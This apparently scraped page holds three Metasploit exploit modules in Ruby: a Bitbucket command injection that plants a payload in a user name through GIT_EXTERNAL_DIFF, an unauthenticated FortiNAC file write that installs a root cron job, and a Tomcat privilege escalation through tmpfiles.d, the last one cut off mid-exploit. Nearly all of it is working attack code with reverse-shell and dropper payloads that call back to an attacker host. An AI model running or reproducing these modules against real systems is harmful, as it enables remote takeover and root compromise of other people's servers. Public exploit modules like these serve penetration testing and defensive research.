<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Git<br /> include Msf::Exploit::Git::SmartHttp<br /> include Msf::Exploit::CmdStager<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Bitbucket Environment Variable RCE',<br /> 'Description' => %q{<br /> For various versions of Bitbucket, there is an authenticated command injection<br /> vulnerability that can be exploited by injecting environment<br /> variables into a user name. This module achieves remote code execution<br /> as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment<br /> variable, a null character as a delimiter, and arbitrary code into a user's<br /> user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable<br /> will be run once the Bitbucket application is coerced into generating a diff.<br /><br /> This module requires at least admin credentials, as admins and above<br /> only have the option to change their user name.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Ry0taK', # Vulnerability Discovery<br /> 'y4er', # PoC and blog post<br /> 'Shelby Pace' # Metasploit Module<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],<br /> [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],<br /> [ 'CVE', '2022-43781']<br /> ],<br /> 'Platform' => [ 'win', 'unix', 'linux' ],<br /> 'Privileged' => true,<br /> 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],<br /> 'Targets' => [<br /> [<br /> 'Linux Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Type' => :unix_cmd,<br /> 'Arch' => [ ARCH_CMD ],<br /> 'Payload' => { 'Space' => 254 },<br /> 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'MaxLineChars' => 254,<br /> 'Type' => :linux_dropper,<br /> 'Arch' => [ ARCH_X86, ARCH_X64 ],<br /> 'CmdStagerFlavor' => %i[wget curl],<br /> 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }<br /> }<br /> ],<br /> [<br /> 'Windows Dropper',<br /> {<br /> 'Platform' => 'win',<br /> 'MaxLineChars' => 254,<br /> 'Type' => :win_dropper,<br /> 'Arch' => [ ARCH_X86, ARCH_X64 ],<br /> 'CmdStagerFlavor' => [ :psh_invokewebrequest ],<br /> 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }<br /> }<br /> ]<br /> ],<br /> 'DisclosureDate' => '2022-11-16',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'Reliability' => [ REPEATABLE_SESSION ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> Opt::RPORT(7990),<br /> OptString.new('USERNAME', [ true, 'User name to log in with' ]),<br /> OptString.new('PASSWORD', [ true, 'Password to log in with' ]),<br /> OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'login'),<br /> 'keep_cookies' => true<br /> )<br /><br /> return CheckCode::Unknown('Failed to retrieve a response from the target') unless res<br /> return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')<br /><br /> nokogiri_data = res.get_html_document<br /> footer = nokogiri_data&.at('footer')<br /> return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer<br /><br /> version_info = footer.at('span')&.children&.text<br /> return CheckCode::Detected('Failed to find version information in footer section') unless version_info<br /><br /> vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)<br /> return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1<br /><br /> version_str = vers_matches[1]<br /><br /> vprint_status("Found version #{version_str} of Bitbucket")<br /> major, minor, revision = version_str.split('.')<br /> rev_num = revision.to_i<br /><br /> case major<br /> when '7'<br /> case minor<br /> when '0', '1', '2', '3', '4', '5'<br /> return CheckCode::Appears<br /> when '6'<br /> return CheckCode::Appears if rev_num >= 0 && rev_num <= 18<br /> when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'<br /> return CheckCode::Appears<br /> when '17'<br /> return CheckCode::Appears if rev_num >= 0 && rev_num <= 11<br /> when '18', '19', '20'<br /> return CheckCode::Appears<br /> when '21'<br /> return CheckCode::Appears if rev_num >= 0 && rev_num <= 5<br /> end<br /> when '8'<br /> print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')<br /> case minor<br /> when '0'<br /> return CheckCode::Appears if rev_num >= 0 && rev_num <= 4<br /> when '1'<br /> return CheckCode::Appears if rev_num >= 0 && rev_num <= 4<br /> when '2'<br /> return CheckCode::Appears if rev_num >= 0 && rev_num <= 3<br /> when '3'<br /> return CheckCode::Appears if rev_num >= 0 && rev_num <= 2<br /> when '4'<br /> return CheckCode::Appears if rev_num == 0 || rev_num == 1<br /> end<br /> end<br /><br /> CheckCode::Detected<br /> end<br /><br /> def default_branch<br /> @default_branch ||= Rex::Text.rand_text_alpha(5..9)<br /> end<br /><br /> def uname_payload(cmd)<br /> "#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"<br /> end<br /><br /> def log_in(username, password)<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'login'),<br /> 'keep_cookies' => true<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')<br /><br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> 'j_username' => username,<br /> 'j_password' => password,<br /> '_atl_remember_me' => 'on',<br /> 'submit' => 'Log in'<br /> }<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'projects'),<br /> 'keep_cookies' => true<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res<br /> unless res.body.include?('Logged in')<br /> fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')<br /> end<br /> end<br /><br /> def create_project<br /> proj_uri = normalize_uri(target_uri.path, 'projects?create')<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => proj_uri,<br /> 'keep_cookies' => true<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')<br /><br /> vprint_status('Retrieving security token')<br /> html_doc = res.get_html_document<br /> token_data = html_doc.at('div//input[@name="atl_token"]')<br /> fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data<br /><br /> @token = token_data['value']<br /> fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?<br /><br /> project_name = Rex::Text.rand_text_alpha(5..9)<br /> project_key = Rex::Text.rand_text_alpha(5..9).upcase<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => proj_uri,<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> 'name' => project_name,<br /> 'key' => project_key,<br /> 'submit' => 'Create project',<br /> 'atl_token' => @token<br /> }<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)<br /><br /> print_status('Project creation was successful')<br /> [ project_name, project_key ]<br /> end<br /><br /> def create_repository<br /> repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => repo_uri,<br /> 'keep_cookies' => true<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res<br /><br /> html_doc = res.get_html_document<br /><br /> dropdown_data = html_doc.at('li[@class="user-dropdown"]')<br /> fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?<br /> email = dropdown_data&.at('span')&.[]('data-emailaddress')<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?<br /><br /> repo_name = Rex::Text.rand_text_alpha(5..9)<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => repo_uri,<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> 'name' => repo_name,<br /> 'defaultBranchId' => default_branch,<br /> 'description' => '',<br /> 'scmId' => 'git',<br /> 'forkable' => 'false',<br /> 'atl_token' => @token,<br /> 'submit' => 'Create repository'<br /> }<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'keep_cookies' => true,<br /> 'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404<br /> print_good("Successfully created repository '#{repo_name}'")<br /><br /> [ email, repo_name ]<br /> end<br /><br /> def generate_repo_objects(email, repo_file_data = [], parent_object = nil)<br /> txt_data = Rex::Text.rand_text_alpha(5..20)<br /> blob_object = GitObject.build_blob_object(txt_data)<br /> file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"<br /><br /> file_data = {<br /> mode: '100755',<br /> file_name: file_name,<br /> sha1: blob_object.sha1<br /> }<br /><br /> tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])<br /> tree_obj = GitObject.build_tree_object(tree_data)<br /> commit_obj = GitObject.build_commit_object({<br /> tree_sha1: tree_obj.sha1,<br /> email: email,<br /> message: Rex::Text.rand_text_alpha(4..30),<br /> parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)<br /> })<br /><br /> {<br /> objects: [ commit_obj, tree_obj, blob_object ],<br /> file_data: file_data<br /> }<br /> end<br /><br /> # create two files in two separate commits in order<br /> # to view a diff and get code execution<br /> def create_commits(email)<br /> init_objects = generate_repo_objects(email)<br /> commit_obj = init_objects[:objects].first<br /><br /> refs = {<br /> 'HEAD' => "refs/heads/#{default_branch}",<br /> "refs/heads/#{default_branch}" => commit_obj.sha1<br /> }<br /><br /> final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)<br /> repo_objects = final_objects[:objects] + init_objects[:objects]<br /> new_commit = final_objects[:objects].first<br /> new_file = final_objects[:file_data][:file_name]<br /><br /> git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")<br /> res = send_receive_pack_request(<br /> git_uri,<br /> refs['HEAD'],<br /> repo_objects,<br /> '0' * 40 # no commits should exist yet, so no branch tip in repo yet<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res<br /> fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')<br /> fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')<br /><br /> [ new_commit.sha1, commit_obj.sha1, new_file ]<br /> end<br /><br /> def get_user_id(curr_uname)<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'admin/users/view'),<br /> 'vars_get' => { 'name' => curr_uname }<br /> )<br /><br /> matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)<br /> fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1<br /><br /> matched_id[1]<br /> end<br /><br /> def change_username(curr_uname, new_uname)<br /> @user_id ||= get_user_id(curr_uname)<br /><br /> headers = {<br /> 'X-Requested-With' => 'XMLHttpRequest',<br /> 'X-AUSERID' => @user_id,<br /> 'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"<br /> }<br /><br /> vars = {<br /> 'name' => curr_uname,<br /> 'newName' => new_uname<br /> }.to_json<br /><br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),<br /> 'ctype' => 'application/json',<br /> 'keep_cookies' => true,<br /> 'headers' => headers,<br /> 'data' => vars<br /> )<br /><br /> unless res<br /> print_bad('Did not receive a response to the user name change request')<br /> return false<br /> end<br /><br /> unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')<br /> print_bad('User name change was unsuccessful')<br /> return false<br /> end<br /><br /> true<br /> end<br /><br /> def commit_uri(project_key, repo_name, commit_sha)<br /> normalize_uri(<br /> target_uri.path,<br /> 'rest/api/latest/projects',<br /> project_key,<br /> 'repos',<br /> repo_name,<br /> 'commits',<br /> commit_sha<br /> )<br /> end<br /><br /> def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)<br /> commit_diff_uri = normalize_uri(<br /> commit_uri(@project_key, @repo_name, latest_commit_sha),<br /> 'diff',<br /> diff_file<br /> )<br /><br /> send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => commit_diff_uri,<br /> 'keep_cookies' => true,<br /> 'vars_get' => { 'since' => first_commit_sha }<br /> )<br /> end<br /><br /> def delete_repository(username)<br /> vprint_status("Attempting to delete repository '#{@repo_name}'")<br /> repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)<br /> res = send_request_cgi(<br /> 'method' => 'DELETE',<br /> 'uri' => repo_uri,<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> 'X-AUSERNAME' => username,<br /> 'X-AUSERID' => @user_id,<br /> 'X-Requested-With' => 'XMLHttpRequest',<br /> 'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",<br /> 'ctype' => 'application/json',<br /> 'Accept' => 'application/json, text/javascript'<br /> }<br /> )<br /><br /> unless res&.body&.include?('scheduled for deletion')<br /> print_warning('Failed to delete repository')<br /> return<br /> end<br /><br /> print_good('Repository has been deleted')<br /> end<br /><br /> def delete_project(username)<br /> vprint_status("Now attempting to delete project '#{@project_name}'")<br /> send_request_cgi( # fails to return a response<br /> 'method' => 'DELETE',<br /> 'uri' => normalize_uri(target_uri.path, 'projects', @project_key),<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> 'X-AUSERNAME' => username,<br /> 'X-AUSERID' => @user_id,<br /> 'X-Requested-With' => 'XMLHttpRequest',<br /> 'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",<br /> 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",<br /> 'ctype' => 'application/json',<br /> 'Accept' => 'application/json, text/javascript, */*; q=0.01',<br /> 'Accept-Encoding' => 'gzip, deflate'<br /> }<br /> )<br /><br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'projects', @project_key),<br /> 'keep_cookies' => true<br /> )<br /><br /> unless res&.code == 404<br /> print_warning('Failed to delete project')<br /> return<br /> end<br /><br /> print_good('Project has been deleted')<br /> end<br /><br /> def get_repo<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),<br /> 'keep_cookies' => true<br /> )<br /><br /> unless res<br /> print_status('Couldn\'t access repos page. Will create repo')<br /> return []<br /> end<br /><br /> json_data = JSON.parse(res.body)<br /> unless json_data && json_data['size'] >= 1<br /> print_status('No accessible repositories. Will attempt to create a repo')<br /> return []<br /> end<br /><br /> repo_data = json_data['values'].first<br /> repo_name = repo_data['slug']<br /> project_key = repo_data['project']['key']<br /><br /> unless repo_name && project_key<br /> print_status('Could not find repo name and key. Creating repo')<br /> return []<br /> end<br /><br /> [ repo_name, project_key ]<br /> end<br /><br /> def get_repo_info<br /> unless @project_name && @project_key<br /> print_status('Failed to find valid project information. Will attempt to create repo')<br /> return nil<br /> end<br /><br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),<br /> 'keep_cookies' => true<br /> )<br /><br /> unless res<br /> print_status("Failed to access existing repository #{@project_name}")<br /> return nil<br /> end<br /><br /> html_doc = res.get_html_document<br /> commit_data = html_doc.search('a[@class="commitid"]')<br /> unless commit_data && commit_data.length > 1<br /> print_status('No commits found for existing repo')<br /> return nil<br /> end<br /><br /> latest_commit = commit_data[0]['data-commitid']<br /> prev_commit = commit_data[1]['data-commitid']<br /><br /> file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => file_uri,<br /> 'keep_cookies' => true<br /> )<br /><br /> return nil unless res<br /><br /> json = JSON.parse(res.body)<br /> return nil unless json['values']<br /><br /> path = json['values']&.first&.dig('path')<br /> return nil unless path<br /><br /> [ latest_commit, prev_commit, path['name'] ]<br /> end<br /><br /> def exploit<br /> @use_public_repo = true<br /> datastore['GIT_USERNAME'] = datastore['USERNAME']<br /> datastore['GIT_PASSWORD'] = datastore['PASSWORD']<br /><br /> if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?<br /> fail_with(Failure::BadConfig, 'No credentials to log in with.')<br /> end<br /><br /> log_in(datastore['USERNAME'], datastore['PASSWORD'])<br /> @curr_uname = datastore['USERNAME']<br /><br /> @project_name, @project_key = get_repo<br /> @repo_name = @project_name<br /> @latest_commit, @first_commit, @diff_file = get_repo_info<br /> unless @latest_commit && @first_commit && @diff_file<br /> @use_public_repo = false<br /> @project_name, @project_key = create_project<br /> email, @repo_name = create_repository<br /> @latest_commit, @first_commit, @diff_file = create_commits(email)<br /> print_good("Commits added: #{@first_commit}, #{@latest_commit}")<br /> end<br /><br /> print_status('Sending payload')<br /> case target['Type']<br /> when :win_dropper<br /> execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')<br /> when :linux_dropper<br /> execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)<br /> when :unix_cmd<br /> execute_command(payload.encoded.strip)<br /> end<br /> end<br /><br /> def cleanup<br /> if @curr_uname != datastore['USERNAME']<br /> print_status("Changing user name back to '#{datastore['USERNAME']}'")<br /><br /> if change_username(@curr_uname, datastore['USERNAME'])<br /> @curr_uname = datastore['USERNAME']<br /> else<br /> print_warning('User name is still set to payload.' \<br /> "Please manually change the user name back to #{datastore['USERNAME']}")<br /> end<br /> end<br /><br /> unless @use_public_repo<br /> delete_repository(@curr_uname) if @repo_name<br /> delete_project(@curr_uname) if @project_name<br /> end<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> if target['Platform'] == 'win'<br /> curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))<br /> else<br /> curr_payload = uname_payload(cmd)<br /> end<br /><br /> unless change_username(@curr_uname, curr_payload)<br /> fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')<br /> end<br /><br /> view_commit_diff(@latest_commit, @first_commit, @diff_file)<br /> @curr_uname = curr_payload<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Fortinet FortiNAC keyUpload.jsp arbitrary file write',<br /> 'Description' => %q{<br /> This module uploads a payload to the /tmp directory in addition to a cron job<br /> to /etc/cron.d which executes the payload in the context of the root user.<br /><br /> The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which<br /> is accessible remotely and without authentication. When you send the vulnerable<br /> endpoint a ZIP file, it will extract an attacker controlled file to a directory<br /> of the attackers choice on the target system.<br /><br /> This issue is exploitable on the following versions of FortiNAC:<br /><br /> FortiNAC version 9.4 prior to 9.4.1<br /> FortiNAC version 9.2 prior to 9.2.6<br /> FortiNAC version 9.1 prior to 9.1.8<br /> FortiNAC 8.8 all versions<br /> FortiNAC 8.7 all versions<br /> FortiNAC 8.6 all versions<br /> FortiNAC 8.5 all versions<br /> FortiNAC 8.3 all versions<br /> },<br /> 'Author' => [<br /> 'Gwendal Guégniaud', # discovery<br /> 'Zach Hanley', # PoC<br /> 'jheysel-r7' # module<br /> ],<br /> 'References' => [<br /> ['URL', 'https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/'],<br /> ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-300'],<br /> ['URL', 'https://github.com/horizon3ai/CVE-2022-39952'],<br /> ['URL', 'https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952'],<br /> ['CVE', '2022-39952']<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => %w[linux unix],<br /> 'Privileged' => true,<br /> 'DefaultOptions' => {<br /> 'SSL' => true,<br /> 'RPORT' => 8443,<br /> 'WfsDelay' => '75'<br /> },<br /> 'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ],<br /> 'Targets' => [<br /> [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],<br /> [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],<br /> [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2023-02-16',<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br /> 'Reliability' => [ REPEATABLE_SESSION ]<br /> }<br /> )<br /> )<br /> end<br /><br /> def check<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),<br /> 'method' => 'POST'<br /> })<br /><br /> return Exploit::CheckCode::Unknown('Target did not respond') unless res<br /> return Exploit::CheckCode::Safe("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200<br /> return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload')<br /><br /> Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!')<br /> end<br /><br /> def zip_file(filepath, contents)<br /> zip = Rex::Zip::Archive.new<br /> zip.add_file(filepath, contents)<br /><br /> zip.pack<br /> end<br /><br /> def send_zip_file(filename, contents, file_description)<br /> mime = Rex::MIME::Message.new<br /> mime.add_part(contents, nil, 'binary', "form-data; name=\"key\"; filename=\"#{filename}\"")<br /><br /> print_status("Sending zipped #{file_description} to /configWizard/keyUpload.jsp")<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),<br /> 'method' => 'POST',<br /> 'ctype' => "multipart/form-data; boundary=#{mime.bound}",<br /> 'data' => mime.to_s<br /> })<br /> fail_with(Failure::Unknown, 'Failed to send the ZIP file to /configWizard/keyUpload.jsp') unless res && res.code == 200 && res.body.include?('yams.jsp.portal.SuccessfulUpload')<br /> print_good('Successfully sent ZIP file')<br /> end<br /><br /> def cron_file(command)<br /> cron_file = 'SHELL=/bin/sh'<br /> cron_file << "\n"<br /> cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'<br /> cron_file << "\n"<br /> cron_file << "* * * * * root #{command}"<br /> cron_file << "\n"<br /><br /> cron_file<br /> end<br /><br /> def exploit<br /> cron_filename = Rex::Text.rand_text_alpha(8)<br /> cron_path = '/etc/cron.d/' + cron_filename<br /><br /> case target['Arch']<br /> when ARCH_CMD<br /> cron_command = payload.raw<br /> when ARCH_X64, ARCH_X86<br /> payload_filename = Rex::Text.rand_text_alpha(8)<br /> payload_path = '/tmp/' + payload_filename<br /> payload_data = payload.encoded_exe<br /> cron_command = "chmod +x #{payload_path} && #{payload_path}"<br /><br /> # zip and send payload<br /> zipped_payload = zip_file(payload_path, payload_data)<br /> send_zip_file(payload_filename, zipped_payload, 'payload')<br /> register_dirs_for_cleanup(payload_path)<br /> else<br /> fail_with(Failure::BadConfig, 'Invalid target architecture selected')<br /> end<br /><br /> # zip and send cron job<br /> zipped_cron = zip_file(cron_path, cron_file(cron_command))<br /> send_zip_file(cron_filename, zipped_cron, 'cron job')<br /> register_dirs_for_cleanup(cron_path)<br /><br /> print_status('Waiting for cron job to run')<br /> end<br />end<br /></code></pre>
<pre><code>###<br />#<br /># This exploit sample shows how an exploit module could be written to exploit<br /># a bug in a command on a linux computer for priv esc.<br />#<br />###<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = ManualRanking<br /><br /> include Msf::Exploit::Retry<br /> include Msf::Post::Linux::Priv<br /> include Msf::Post::Linux::System<br /> include Msf::Post::File<br /> include Msf::Exploit::EXE<br /> include Msf::Exploit::FileDropper<br /> include Msf::Post::Linux::Compile<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',<br /> 'Description' => %q{<br /> This module exploits a vulnerability in RedHat based systems where<br /> improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf<br /> for Apache Tomcat versions before 7.0.54-8. This may also work against<br /><br /> The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage<br /> temporary files including their creation.<br /><br /> With this weak permission, we're able to inject commands into systemd-tmpfiles<br /> service to write a cron job to execute our payload.<br /><br /> systemd-tmpfiles is executed by default on boot on RedHat-based systems<br /> through systemd-tmpfiles-setup.service. Depending on the system in use,<br /> the execution of systemd-tmpfiles could also be triggered by other<br /> services, cronjobs, startup scripts etc.<br /><br /> This module was tested against Tomcat 7.0.54-3 on Fedora 21.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # msf module<br /> 'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery<br /> ],<br /> 'Platform' => [ 'linux' ],<br /> 'Arch' => [ ARCH_X86, ARCH_X64 ],<br /> 'SessionTypes' => [ 'shell', 'meterpreter' ],<br /> 'Targets' => [[ 'Auto', {} ]],<br /> 'Privileged' => true,<br /> 'DefaultOptions' => {<br /> 'WfsDelay' => 1800, # 30min<br /> 'payload' => 'linux/x64/meterpreter_reverse_tcp'<br /> },<br /> 'References' => [<br /> ['EDB', '40488' ],<br /> ['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],<br /> ['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],<br /> ['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info<br /> ['CVE', '2016-5425']<br /> ],<br /> 'DisclosureDate' => '2016-10-10',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /> register_advanced_options [<br /> OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),<br /> ]<br /> end<br /><br /> # Simplify pulling the writable directory variable<br /> def base_dir<br /> datastore['WritableDir'].to_s<br /> end<br /><br /> def tomcat_conf<br /> '/usr/lib/tmpfiles.d/tomcat.conf'<br /> end<br /><br /> def suid?(file)<br /> get_suid_files(file).include? file<br /> end<br /><br /> def check<br /> package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')<br /> if package.nil? || package.empty?<br /> return CheckCode::Safe('Unable to execute command to determine installed pacakges')<br /> end<br /><br /> package = package.sub('tomcat-', '').strip<br /> # fedora based cleanup<br /> package = package.sub(/\.fc\d\d\.noarch/, '')<br /> # rhel/centos based cleanup<br /> package = package.sub(/\.el\d_\d\.noarch/, '')<br /> package = Rex::Version.new(package)<br /><br /> # The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says<br /> # only 7 is effected, so we're going to go off their write-up.<br /> if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')<br /> return CheckCode::Appears("Vulnerable app version detected: #{package}")<br /> end<br /><br /> CheckCode::Safe("Unexploitable tomcat packages found: #{package}")<br /> end<br /><br /> def exploit<br /> # Check if we're already root<br /> if is_root? && !datastore['ForceExploit']<br /> fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'<br /> end<br /><br /> unless writable? base_dir<br /> fail_with Failure::BadConfig, "#{base_dir} is not writable"<br /> end<br /><br /> unless writable? tomcat_conf<br /> fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"<br /> end<br /><br /> vprint_status("Creating backup of #{tomcat_conf}")<br /> @tomcat_conf_content = read_file(tomcat_conf)<br /> path = store_loot(<br /> tomcat_conf,<br /> 'text/plain',<br /> rhost,<br /> @tomcat_conf_content,<br /> 'tomcat.conf'<br /> )<br /> 